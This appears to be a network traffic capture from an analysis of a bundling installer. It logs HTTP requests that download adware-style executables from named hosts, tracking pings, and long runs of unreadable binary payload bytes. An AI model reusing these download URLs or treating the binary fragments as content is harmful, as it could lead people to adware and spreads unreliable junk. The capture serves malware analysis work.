[email protected].=G.>...x$.,..V.C.i...v.X....Pf.....g.F
...f...?..=....s....q}.. u.......t.FG......]....U..6.z.3.....hC.6.i...
.M...........`.B...~.m..K.5.H.Gy<.@........<;.K...7.4.Q..t..M.W.
.t.(......3..:.Q..T]..HA~-Qv..H.&a1...b..OAl.Rk.:...n.z..y..*..-..L...
G....)c.8..0..4...n Ls.h\T.v..QZ.........2...E.`.. .N.o."r........L.p.
U..6x....j....Q...H......9........  .....9H.V..y........`^^._.jS..s{O.
...S.........O...Q...K./.y.'..P......<..o%.i5.....C..E........*...-
.......O..... %3l.M....^........9*.....P|R.W!g%...3k8...#....??.9.....
....$=....@..!.x...).s..H......Y}..u*y).).}....ppQ^.....a[.A...#.S\..j
.....0).JqeD^.T{....S1.......B.. H....j.......BR(P1......`...p$.%!.V).
 k.......1..%w..'`..^v...#,......y..o...3.Yt..9c....;....w'.<...(..
....vb...P...H..$....X.8.`}v..PS !n.]..m......K...ttX=.....n..6...<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4500000-4749999/7592848

Age: 1330

X-Cache: Hit from cloudfront

Via: 1.1 8ecc5fc4be46ae177def229d63c405f0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: TafaMu8byLrGvbvyOlP90fHEKer66UdbJkhqnrdfVm8a6l7BE48Ctw==
.`A..Q.K.......v.C*uD..~.......[zV...{....'.....g.....X.B..sx.......C.
..$...97..K..w._..x.....".s.,[email protected]."...ER.n.......F.E.G..E.
/.[S.D.Uy.J....`....r..lV.*...\.6k4i...3d.i.u^mP..Q.Y...{..9b...M..j..
...L.8rR....$.V....(_@[email protected].#....(..Y...kz7...P..g.W..
. ...B..>.C..2-.b.W:.....Hj..l..4[.kNv.L.......r..)r....}..{...x.g.
.".I,jy.n..@..\....Q..8)br.4..Z.O....:...B`..Tr.....E.E...[.......w...
....)...e. ...P..5)..W.r.......S...3. ,C.pc..H.p...:..}.K8.,...}i.I3..
'.....?.. ....j.(s..f.n.....4.z.h....H%}.)...)..; ....=...DR...c^.....
|G.L.*......g.kL6[..l9g.H..J.....B........H..<........i.TE,7P...SA.
....\$..H..sV^.9.F.b.....;.....B....."..7...n...$..t...=|..G..=.|.....
z..h.^... ..y...._.4..._....J.{... ).<..cf...7:`......Ef.>ef....
..>...T...m6E^...jvKQs%x..`..s$.....,.<........Sx...=$..Y.....1H
0..c>.......i....<:V....S.Bb...VN..I[].>....h.(....G9t.....?|
.dI..-93....CLx.T....al'. Y..~...MO.........[..v..q_..Xs.spWC..&....r.
@S..o.....I/.}.e.u........bj...\d..}.9<.7.......K.j3..zz.#.(..A..:M
S...=5-...h...]j....P\............,B1md]..._J..=.8b.X..#...h.5...uSxOh
.f....._..l_CC.....<...j8^.U...8......"._....78g$.kV..Mon.~.....D.f
k.&..y..b".\x.....^...ox.......^/:P.........B. P....|...-A..=..TIR.,..
2..fb?..cg.k...)...A!|/t.....v.>O&..........p.{....?1,Y....u.....OQ
K......-....\B../.tV..:xO.QdjK."u...gQ........©..........,....$.\HJ.
...>..Q..%?.. .z.....OJ...S.m.C..|.vK.sx...y....=J.....Ah0..$%.C.ap
P.J.y...k.O:.J..Q...E.O..c........zc..G0.....e[.....0.1..v....g..g<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 6500000-6749999/7592848

Age: 1330

X-Cache: Hit from cloudfront

Via: 1.1 8ecc5fc4be46ae177def229d63c405f0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CO-aNAbQCuC54OMwJVEQx76rpEE-x4pAjnNos3jkD9xFrLHx5UC75A==
mg..u.E(.`r....w...u!d?...y...ps..PP.-H.e7?i.p..QB@F"..A...9B...(....3
m.O....^tW.....7W(...8>|..nG...0..=3........K...`............5.....
.{U....y...AE..f.&..a..N~i.3.. ....$.2...[...ZC....X...s?.0>..xV.. 
.h.pKz..)....'......,..)..4...R.......N0#.o.....Oeu....#B....&;g.....I
...d..`$)..-.\W#..Vh.M....1...D....O.<...K....> .............)/.
.q.B...s..)..<.E.f%.i..OcO.~.m.....E{......0,k-Q._./.=0...z./d.`.=.
.j...Q......[.yK(.q.._y;.d.R.....,. .^w7..X....*0}f.[.......Z.N.9...w@
.f........A.....D.(..7...x...O.....m....Tn.8.8(.m7.:4,.i..7'..g...}"..
W&............ z:A..<.C..O?.....\V...."O\.p.F..l..g@..]..?......3.;
....)........zHc....w..nu.s...Q<Y)......x8....w;.Q.%A......../...h.
....fT....1..2...=./.$M.....!......o....=;$2Ik...f.t...`.......N-Z\.L.
7.'F..mQn....&3.C..,.wU.-.....msfo.L$.. `....t9....DE......6$.pc.`{...
Z.l`'L....68.S...v..a..[j..].....8c.K.fY..i../&...Wm.wz^..l>..Ra.@.
..g...<.F./.t`.J.j1.>R_"|..KR..aU]C1...j.......-.lxT.......)...E
r......._%......!c.Ur $=.U.3...I.9..y.N....yf3..K>`.e.|@...V.QPW...
H.......m.A...=g..l~W.ef^.H.6.[.....-..1:e.f./../{$}.........^p.......
2..x....5....n&V.q=I.~..zr..A.........#;N..4`k.x.f...ueP......._..@l..
......}gg.`..6..Gf .w....x.l..OQ.e...*....R...].*{..&0....m3.u41.a].7q
..u....9.~.o..h3Cr......7e.......E..w..K.\.n..c6.......$.ZT'.e..._..Y.
?`....t..c.hq.....A.u)~.Iuil.#...C....?..T..TA..}mn&......\...44.t..t.
.R( ...re...G.....60..E[....S...v`...#>[email protected].
.b.%r....I..P/.....35U..GA.......y..v...m.6.d.....o~.ON>u.1....<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7500000-7592847

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 92848

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7500000-7592847/7592848

Age: 1330

X-Cache: Hit from cloudfront

Via: 1.1 8ecc5fc4be46ae177def229d63c405f0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: a1QeaaeBm9i5sHy_o0a66XBa5jsX0LmmbM_agr4wwvOg5ydGhqaBFw==
1."x..s..../o. fq..A..d<lZh.._...7.4..._.9..W.XX=.v.I.O............
.%.....5.....q\....L......6...8.....Y..5.:.6A...[./[._...{>.4...$..
;.3J...7_........?<2.N...{...}>......=..Ye...H..'...........\.N.
...2|...;.9.j....S..M..;..N.7;.H.1...w.......=6.........=C...5.~.~..\.
........=.}....7.._c...4x{e.<..R..V..]....*<1.......|.]].8......
.....7..u.....k...w.k;qLt..9"..^A..Q.&.W#......G../...8o.6.8..d.pH.. r
([email protected]. /... ....U.9.....!S........9:.9.[.v."x.BTT...4.).D....B..
.....C(.t&..../.b...#J.&|a%.cjg.T.....-Ea ,".....9......4..juDE./..3.3
8&...f..P..1...Q..E....gsL(..l.V...3LN.!..E..0..z.rf..b}kAy...-ghs....
]..%,..c.. ..V......3.: ........vv,.k<.)..E..FcQ)[email protected]
...b(......[s.ov .S....&.#a.7..Y:...._Ra.......D.......E...c.....~[...
!..K....4.D..^;.....]T|.)Fce...1w..k. .t..Uo ..w........3w..a.7.5....s
..H.......rL.&.]......z..l...6....f........u.mV...f!Y.....U}L2Ym:.~a..
.v.....(..y}...^j.....U.......h-P...:.kv.57c...X..l......e.....g..NS..
..`...P_.;o.. ...s..H.Q.....(.k.K.m.m.t.....t.....V@.\.k\.z..|.^b.....
,...b8.".(~..V^M].O.)....X..**.....Vs.M.3.vu...l][email protected]....~.....!.
...U....!.0.._...tT.....8..3...vvu.jfl..j.....z..G....J..u..R.....l(..
`.a..>.. ... g.1...gt.*..*.....s....\....:.:.*m.fu..'..... .q.^3...
[email protected]..&E8-...8.'.... ]u..p..5o1w5........z2(h-0..p6..{s.[h..
.c}....~. Ii.oJ.......Q.......x..|!.;..c.DwhcQ`l..H.u..6.M.T.wl..t,..X
.][email protected].#...n.y.h6..2Rm4k.?uF#u%N..Y.."G......
8...D19...Q.fy..U.....sq........._P.....A..8.}j...x;...4..%..8.G1 <<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=138810-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 971666

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.<<< skipped >>>

GET / HTTP/1.1

Range: bytes=174216-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d065c9d80f7b-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=174216-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 24888

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 174216-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55d06639e50f7b-FRA

 .f.7.l.5.s.2.y.0.g.6.m.4.t.1.b.8.h.5.o.3.u.0.c.7. .4.p.2.v.0.d.6.j.4.
q.1.w.8.e.5.k.3.r.0.y.7.f.4.m. .s.8.a.6.g.3.n.1.t.7.b.5.h.3.o.0.u.7.c.
4.i.2.p.8. .6.d.3.k.1.q.7.x.5.e.2.l.0.r.6.y.4.f.2.m.8.s.6.a. .g.1.n.7.
t.5.b.2.i.0.o.6.v.4.c.1.j.8.p.5.w.3.d.0. .7.q.5.x.2.e.0.l.6.r.4.y.1.f.
8.m.5.t.3.a.0.h.7.n. .u.2.b.8.i.6.o.4.v.1.c.8.j.5.p.3.w.0.d.7.k.4.q.2.
 .8.f.6.l.3.s.1.y.7.g.5.m.2.t.0.a.7.h.4.n.2.u.8.b. .i.3.o.1.v.7.d.5.j.
2.q.0.w.6.e.4.k.1.r.8.x.6.f.3. .1.s.7.y.5.g.2.m.0.t.6.a.4.h.1.o.8.u.5.
c.3.i.0.p. .v.4.d.2.j.0.q.6.w.4.e.1.k.8.r.5.x.3.f.0.m.7.s.4. .2.g.8.n.
6.t.3.b.1.h.8.o.5.u.3.c.0.i.7.p.4.v.2.d. .j.6.q.3.x.1.e.7.l.5.r.2.y.0.
f.6.m.4.s.2.a.8.g.6. .3.t.1.b.7.h.5.o.2.v.0.c.6.j.4.p.1.w.8.d.5.k.3.q.
 .x.7.e.5.l.2.r.0.y.6.f.4.m.1.s.8.a.5.h.3.n.0.u.7. .4.i.2.o.8.v.6.c.4.
j.1.p.8.w.5.d.3.k.0.q.7.x.4.f. .l.8.s.6.y.3.g.1.m.7.t.5.a.3.h.0.n.7.u.
4.b.2.i.8. .6.v.3.c.1.j.7.q.5.w.2.e.0.k.6.r.4.x.1.f.8.l.6.s. .y.1.g.7.
m.5.t.2.a.0.h.6.o.4.u.1.c.8.i.5.p.3.v.0. .7.j.4.q.2.w.0.e.6.k.4.r.1.x.
8.f.5.l.3.s.0.a.7.g. .n.2.t.8.b.6.h.3.o.1.u.8.c.5.i.3.p.0.v.7.d.4.j.2.
 .8.x.6.e.3.l.1.r.7.y.5.f.2.m.0.s.6.a.4.g.2.n.8.t. .b.3.h.1.o.7.u.5.c.
2.j.0.p.6.w.4.d.1.k.8.q.5.x.3. .1.l.7.r.5.y.2.f.0.m.6.s.4.a.1.h.8.n.5.
u.3.b.0.i. .o.4.v.2.c.8.j.6.p.4.w.1.d.8.k.5.q.3.x.0.e.7.l.4. .2.y.8.g.
6.m.3.t.1.a.7.h.5.n.3.u.0.b.7.i.4.o.2.v. .c.6.j.3.q.1.w.7.e.5.k.2.r.0.
x.6.f.4.l.1.s.8.y.6. .3.m.1.t.7.a.5.h.2.n.0.u.6.c.4.i.1.p.8.v.5.d.3.j.
 .q.7.w.5.e.2.k.0.r.6.x.4.f.1.l.8.s.5.a.3.g.0.n.7. .4.b.2.h.8.o.6.u.3.
c.1.i.8.p.5.v.3.d.0.j.7.q.4.w. .e.8.l.6.r.3.y.1.f.7.m.5.s.2.a.0.g.

<<< skipped >>>

GET /sponsored/pricefountain/eula-pricefountain.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

If-Modified-Since: Mon, 22 Dec 2014 13:16:25 GMT

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Thu, 08 Jan 2015 04:53:17 GMT

Server: nginx

Expires: Tue, 06 Jan 2015 22:25:55 GMT

Cache-Control: max-age=600

Age: 67

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 4cac7d535f87b2835425f2dc5dffeac7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gy0iLzAZrTX0sLNiN3vT5jRCZB8s61F7GtOAEd3oKpEf2kmyx28beA==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 08 Jan 2
015 04:53:17 GMT..Server: nginx..Expires: Tue, 06 Jan 2015 22:25:55 GM
T..Cache-Control: max-age=600..Age: 67..Vary: Accept-Encoding..X-Cache
: Hit from cloudfront..Via: 1.1 4cac7d535f87b2835425f2dc5dffeac7.cloud
front.net (CloudFront)..X-Amz-Cf-Id: gy0iLzAZrTX0sLNiN3vT5jRCZB8s61F7G
tOAEd3oKpEf2kmyx28beA==..

GET /dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&type=quick&topic=suzan_wdrun&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535 HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: WinHTTP/1.0

Host: q.pricejs.info


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Thu, 08 Jan 2015 04:55:11 GMT

ETag: "5029f96e-1"

Last-Modified: Tue, 14 Aug 2012 07:08:30 GMT

Server: nginx/1.4.7

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Thu, 08 Jan 2015 04:55:11 GMT..ETag: "5029f96e-1"..Last-Modified: Tu
e, 14 Aug 2012 07:08:30 GMT..Server: nginx/1.4.7..Content-Length: 1..C
onnection: keep-alive.....

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:52:17 GMT

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Range: bytes 0-583463/583464

Content-Length: 583464

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................;........................................s....
..................8...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=617755-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: oCLheowHLgjPKLsg2qR4f8rYgbOOHxYiPNSydDwU9eSg//RydKf2flIMTKJOPVrGrM8hdN/XSdk=

x-amz-request-id: 588E1D1656491EA8

Date: Thu, 08 Jan 2015 04:55:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 617755-988407/988408

Content-Type: application/octet-stream

Content-Length: 370653

Server: AmazonS3
...m$......"4C..HA.e...P.V.9J.2.E...."X..!X...>.U.oL{$.!.......5..h
.9\...Ua.M.%....... .5.}[email protected].'...'..My.......3i.........e..SPNO.ka
..R...f...5Mm..............c....W..%z`..U........D.h]...\q.....vyr..2.
.$.[.8M..6...=.*..g...J. N-k....w........G....s......6.3?>...).>
D..J.^.c/.N....u.6.....s...{....L..n......:........'...,...^..mg...BO.
>..}H#..N.'.F...%.....p..#....t...zV.,.\9.......D...B...B.:.[.IYZ..
.c..^K..[(d....H.......FwD.......z..L....-.i(.......I.....x.*..s[.....
b.H0DR..<"......d..w.{..v%e.8n......6t..P..>VK.e...4...B(7...>
;.a....K..A...Z.%.x."...:O...!...".p`......t.....q..Z...".....t...s;."
.[h.#z..ZG....&A.(.....@..........}...?g..u(.M..[.dD..h.7C4HS......I.-
....'.....|O......X[.....2"6.lR..(......m_....f...........u...n....Y..
i.9.......5..5..<7 ...0.c...|.i..zHh8..B'.........B.~1..;....A.T.H.
.FT.....8.9L..i`,..t.!C...B.<..lQ..W...F[....|T\..o.f...e.....H.o..
..9U....p.ReW.z.wJ.....A.!.#.../0.......E..v...X.M.(.:p[...b9.{#N.....
0...%6..AsI....'.........9.H%}6.0..'.;..R5.........4.j.Vw..g..N$...q..
...........7.k.vJ...n.._........}i..}.Y...............:.X(...J....lWy.
^.V...lUL..m...&.d....^q.?wk......`x(.5{....0.(...#%^...........`.....
...wpbp...._B...I....{.A....l.,.Rt,.d.[t5.X.............../a|.mH......
K.v....`.....Z....P_f:....k....e..e.-........`..VcS..fg...)a,MI.."..?.
=.o..j0r!.&.Q5........<e...%Z.....V.....;.s.Cl..F.=..>.5j..._..1
P.M.....tv`.FT][email protected]./.2S
.. ,.u...0O.......K..........9]<.p*M.S...p.......v.mW......$t..<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:17 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:17 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-308319/308320
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /software_files/7_zip/7zip_32.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: download.filesfrog.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:10 GMT

Content-Type: image/png

Content-Length: 145

Last-Modified: Mon, 10 Jun 2013 04:13:32 GMT

Connection: close

ETag: "51b5526c-91"

Accept-Ranges: bytes
.PNG........IHDR... ... .....I.......PLTE......U..~...FIDATx^[email protected].
....E..N......Y$.....0.R............=.........H.L........=D.Xg.....IEN
D.B`...

GET /js/jquery-1.8.3.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=0gkn1yumieq3soyth43bzeq3


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:05 GMT

Accept-Ranges: bytes

ETag: "806e96648984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:54:21 GMT

Content-Length: 42657
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"......{7...i]...YQ..q..'w....?.
....N/w...{.O.".5.V..g..U}q.,.....o.......r...r ..w~.. ....;..2..../..
..._.K...]...r.g..V>nVe.n]......../n....g.../.3j...&.6...w~qq.U...g
./...xY..7.........>.em...'.q...l.o..}....~tg.V....>..|..a.Y>
............;...%x.yJ}|..7...........G.}.......w.y...ge.?w....,?.=...O
.O>..>...O.GO.m..[....r...&.../_...._2.Z.Es.....10.a......./Q...
.O,e...z.M.eJ..w...../.....9].../'?.O...{.....V..X.s...J....|tG..]w.?"
../o...b.x.}.z.{.....<....]s.9_./h.~.g..... g...4...3.}x5'....9'.wi
...4w/....G..?.3;.)h.L.l.wt.....#...L......g......YY..Qn{*.../.N....P.
.01C.uz...>q....."`...)A..HE .....(......].w.[..>...L.z=.../"...
..k...s...uI.;Z.DkA..l..<..3...-I..u....j.^..?....$.#....i...;2....
....N.k.bU....YX:........eZ_k.\...^d..|.{;[email protected]....>.x#
=.^.u7.`Ab...<k....1t..A...Q1j...?d...U..v....?k..%u..&k.....<..
.rV..J.......-....Z..3*>[..T........O..~.K.l6.n.#..^..;..b.......B.
..Z.../.%..>................<...m~./.}.E.|.....}[email protected]...
.J.......q..... .Q.........wF..f.ZUu;.....IY-.}N.MS.&.........a?.. ...
..~..#..X..-).S.>B.Hs.....l].'.|.6.........F....5(..o.!.f>1.U ..
G.......e8..k.DZ.J?.3.GK.K......I.u/...f......y..@.._. ...c".|Q].i#...
[..V..|A..2..........G.%!T,..G.G...G....#.....yU..e.D.{y.{.w....^g.h..
4f...yc..z.....<Z.....|...v.s|E.GY...B.N[.wFd.I~.cT...b{...;....."R
.va4...|...79.^N|?mH.F.......Gw0.K.~b..xx.Y..&..$[.@.>....u....<<< skipped >>>

GET /app/ping.ashx?e=iDRrwQhh7wuyUxg71rJbZmK4ne67wKoafhalIKY8mkHF v7PQ4kXwDEsdSRpTTrr/Gk1vcdFsJVtLmK2GmoZrElXCf41oGVAnbJKYwPfuhBAYiVgrZJUBECndBhIJGn5 6iLMOSvQnYmvzV8XsrOleIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8IS37QBYr6WNZiv78qWFsam6Mpeg1mvvHNMP8nao3Fu0qL 88MbCkJx/48vBuBRiWOEog NNy6LA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 20
15 04:53:13 GMT..Content-Length: 0..

GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=754764&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

